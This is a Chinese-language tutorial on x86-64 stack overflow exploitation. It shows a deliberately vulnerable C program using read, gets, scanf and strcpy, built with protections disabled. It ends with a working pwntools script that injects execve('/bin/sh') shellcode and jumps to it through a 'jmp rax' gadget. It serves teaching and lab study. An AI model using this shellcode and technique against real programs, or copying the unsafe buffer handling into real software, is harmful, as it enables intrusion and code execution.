我们常常能覆盖返回地址,却苦于不知道shellcode的地址,这样即使覆盖了返回地址也是枉费心机
当我们看到以下几种情况的时候,就知道往往有栈溢出的出现了
//gcc hello.c -no-pie -fno-stack-protector -z execstack -o hello #include<stdio.h> #include<unistd.h> #include<string.h> void vuln1(){ char buf[0x40]; read(0,buf,0x50); } void vuln2(){ char buf[0x40]; gets(buf); } void vuln3(){ char buf[0x40]; scanf("%s",buf); } void vuln4(char * str){ char buf[0x40]; strcpy(buf,str); } int main(){ setbuf(stdin,0); setbuf(stdout,0); setbuf(stderr,0); //vuln1(); vuln2(); //vuln3(); //vuln4("444444444444"); return 0; }
vuln1 2 3 4 分述了四种情况,当然还有更多的情况...
在ret的那一刻,我们想知道payload和寄存器到底有何牵连
对于 vuln1:
rsi 存储着 payload的地址
对于vuln2:
rax、rdi 存储着payload的地址
对于vuln3:
在这些常见的寄存器里没有找到指向payload的
对于vuln4:
rax 存储着 payload 的地址
现在我们知道有许多寄存器指向payload,也就是说如果有类似 `jmp reg` 的指令,那就有可能在不知道shellcode地址的情况下,把程序的流程劫持到shellcode
以vuln2为例(需要注释掉对 vuln1 、vuln3 和 vuln4 的调用),采用如下命令编译:
gcc hello.c -no-pie -fno-stack-protector -z execstack -o hello
利用脚本如下:
from pwn import * context(arch='amd64',os="linux") sh=process("./hello") #sh=gdb.debug("./hello") shellcode=asm(''' mov rdi, 0x68732f6e69622f push rdi mov rdi,rsp mov rsi,0 mov rdx,0 mov rax,0x3b syscall ''') jmp_rax=p64(0x400685) payload=shellcode.ljust(0x48,b"\x00")+jmp_rax sh.sendline(payload) sh.interactive()
跟踪程序流程可以看到,程序运行了shellcode